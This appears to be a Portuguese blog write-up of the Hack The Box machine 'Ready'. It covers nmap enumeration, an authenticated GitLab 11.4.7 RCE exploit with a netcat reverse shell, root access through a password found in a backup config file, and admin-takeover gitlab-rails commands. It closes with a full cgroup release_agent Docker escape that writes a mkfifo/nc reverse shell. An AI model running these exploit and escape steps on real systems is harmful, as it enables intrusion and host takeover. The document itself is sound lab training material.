Olá pessoal!
A máquina desta semana será Ready, outra máquina Linux classificada como mediana do Hack The Box, criada por bertolis.
Info
Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas
Esta máquina foi bem interessante sua resolução, onde exploramos uma versão vulnerável do GitLab Server e na sequência precisamos escapar do container docker para obter a flag de root.
Enumeração
Como de costume, iniciamos com a enumeração rápida do nmap para identificar os serviços publicados nesta máquina:
$ nmap -sC -sV -Pn -oA quick 10.10.10.220Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 12:05 -03Nmap scan report for 10.10.10.220Host is up (0.078s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)5080/tcp open http nginx| http-robots.txt: 53 disallowed entries (15 shown)| / /autocomplete/users /search /api /admin /profile| /dashboard /projects/new /groups/new /groups/*/edit /users /help|_/s/ /snippets/new /snippets/*/edit| http-title: Sign in \xC2\xB7 GitLab|_Requested resource was http://10.10.10.220:5080/users/sign_in|_http-trane-info: Problem with XML parsing of /evox/aboutService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds5080/TCP - Serviço HTTP
Conforme pode ser visto no resultado do nmap se trata de um serviço GitLab Community. Similar à máquina Laboratory, segui com a criação de uma nova conta para verificar a versão do servidor e eventuais projetos públicos disponíveis.
Após criada a conta, pude comprovar que a versão em execução é a 11.4.7, conforme podemos ver na imagem abaixo.

Initial Foothold
Realizando uma busca rápida no searchsploit, identificadas algumas versões de exploit para a versão de GitLab Server identificada.
$ searchsploit gitlab 11.4.7------------------------------------------------------------------------- --------------------------------- Exploit Title | Path------------------------------------------------------------------------- ---------------------------------GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.pyGitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.pyGitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsUtilizando o último exploit listado (49334.py) notei que não possuía a opção de fornecer a porta do GitLab Server (vide output abaixo), assim como existe um erro nos parâmetros para recebimento do shell reverso onde foi necesário alterar o parametro local_port para local_port = args.P.
$ python3 49334.py -husage: 49334.py [-h] -u U -p P -g G -l L -P P
GitLab 11.4.7 RCE
optional arguments: -h, --help show this help message and exit -u U GitLab Username/Email -p P Gitlab Password -g G Gitlab URL (without port) -l L reverse shell ip -P P reverse shell portAdicionalmente, foi necessário alterar o payload utilizado pelo script, que apenas realizava a conexão via nc no endereço e portas especificados, mas nao exportava o /bin/sh, impedindo a interação com a máquina.
Após ajustes, obtido shell com a conta git no diretório ~/gitlab-rails/working
User flag
Após shell inicial, iniciada enumeração fazendo uso do linenum.sh, onde os seguintes pontos chamaram atenção:
- Execução dentro de container docker, possivelmente sendo necessário futuramente escapar deste para o host.
- Existe usuário local
dude(id=1000), no qual o arquivouser.txtencontra-se em seu home directory. - Obtido hash de contas do GitLab Server, onde o usuário
rooté o único privilegiado, possuindo o seguinte hash de senha:
| username | admin | hash | |
|---|---|---|---|
| root | admin@example.com | true | 10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2 |
Com base nas informações acima, ao validar os privilégios necessários para ler o arquivo user.txt, identificado que o usuário corrente (git), possuía acesso, logo obtivemos a flag de usuário.
git@gitlab:/home/dude$ ls -latotal 24drwxr-xr-x 2 dude dude 4096 Dec 7 16:58 .drwxr-xr-x 1 root root 4096 Dec 2 10:45 ..lrwxrwxrwx 1 root root 9 Dec 7 16:58 .bash_history -> /dev/null-rw-r--r-- 1 dude dude 220 Aug 31 2015 .bash_logout-rw-r--r-- 1 dude dude 3771 Aug 31 2015 .bashrc-rw-r--r-- 1 dude dude 655 May 16 2017 .profile-r--r----- 1 dude git 33 Dec 2 10:46 user.txtgit@gitlab:/home/dude$ cat user.txt<redacted>Root flag
O próximo passo seria obter a flag de root. Tendo o hash de senha, conforme observado via enumeração do LinEnum poderíamos realizar o cracking dele usando algum dicionário, porém em buscas realizadas sobre este hash em sites da internet não resultaram em nada, logo deixei essa opção para o final, caso não encontre outro modo.
Durante a enumeração do LinEnum, o seguinte texto é listado junto da listagem das contas:
If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner ‘user = User.find_by(email: “
youruser@example.com”); user.admin = TRUE; user.save!’ Alternatively, you could change the password of any user by running: gitlab-rails runner ‘user = User.find_by(email: “admin@example.com”); user.password = “pass_peass_pass”; user.password_confirmation = “pass_peass_pass”; user.save!’
Com base nesta informação, segui para o reset da senha do usuário root conforme recomendado, porém nenhum repositório privado ou informação adicional foi encontrada, que pudesse auxiliar na obtenção das credenciais de root.
Uma vez que nao encontrei nenhum processo ou informação para o usuário dude e crackear a senha com base no hash identificado não era uma opção rápida, segui para a enumeração manual, onde acabei encontrando um diretório /opt/backup, que continha diversos arquivos.
Buscando neste diretório por palavras chaves como passwd, password, encontrei uma entrada que chamou atenção no arquivo /opt/backup/gitlab.rb, conforme podemos ver abaixo dentre as linhas comentadas e em branco, removidas utilizando o comando grep listado
git@gitlab:/opt/backup$ cat /opt/backup/gitlab.rb | grep -Ev '^#|^$'gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"git@gitlab:/opt/backup$Com a senha encontrada, testado para o usuário root, o que confirmou a validade da credencial, porém no diretório raiz deste usuário não existe um arquivo root.txt, o que indica que precisaremos escapar do container e obter a flag a partir do host docker.
git@gitlab:/opt/backup$ su rootPassword:root@gitlab:/opt/backup# ls -la /roottotal 28drwx------ 1 root root 4096 Feb 27 13:24 .drwxr-xr-x 1 root root 4096 Dec 1 12:41 ..lrwxrwxrwx 1 root root 9 Dec 7 16:56 .bash_history -> /dev/null-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrcdrwxr-xr-x 2 root root 4096 Feb 27 13:24 .nano-rw-r--r-- 1 root root 148 Aug 17 2015 .profiledrwx------ 2 root root 4096 Dec 7 16:49 .ssh-rw------- 1 root root 1565 Dec 13 15:06 .viminforoot@gitlab:/opt/backup#Escapando do container
Uma vez que temos privilégios de root, se o container estiver rodando sob circunstâncias especificas, podemos escapar do mesmo para o host, conforme encontrei a partir de uma pesquisa e extremamente bem documentado no blog Understanding Docker container escapes | Trail of Bits Blog.
Seguindo o passo-a-passo descrito neste blog, criado um listener na porta 4443 TCP na máquina atacante e realizados os seguintes procedimentos com o usuário root no container, obtendo assim um shell reverso.
# In the containermkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmdecho "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f" >> /cmdchmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"Com a conexão recebida, confirmado que estávamos dentro do host executando o comando docker ps e, na sequência, obtido a flag de root.
$ nc -lnvp 4443listening on [any] 4443 ...connect to [10.10.10.10] from (UNKNOWN) [10.10.10.220] 38246/bin/sh: 0: can't access tty; job control turned off# iduid=0(root) gid=0(root) groups=0(root)# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES7eb263389e5e gitlab/gitlab-ce:11.4.7-ce.0 "/assets/wrapper" 2 months ago Up 5 hours (healthy) 22/tcp, 443/tcp, 0.0.0.0:5080->80/tcp docker-gitlab_web_1# cat /root/root.txt<redacted>Espero que tenham gostado.
Vejo vocês no próximo post! :smile: